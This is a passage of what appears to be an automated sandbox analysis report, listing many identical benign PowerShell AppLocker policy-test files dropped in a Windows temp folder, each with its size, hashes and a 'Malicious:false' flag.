                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_abpckzxw.qhs.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aweqk4xi.qsj.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bnlefeg5.wxj.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_btwt3qww.eja.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c0j2ubzs.n3i.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cbnntcjg.xcq.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cpxqke5n.5dy.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dxuj3nnq.otf.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e12nrohp.lil.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eocufrfa.e53.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f2rcaeb5.tcw.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f543rxki.slu.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g3chttq3.05g.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gh1wp4og.nwu.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hwulemrb.mkh.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i1txhcci.0eh.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i2e1evvs.fii.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iggyonzp.cpd.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_istn3r5v.y4s.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_itvp3bca.xiv.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jam111pj.gwv.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jgbotmbz.eea.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
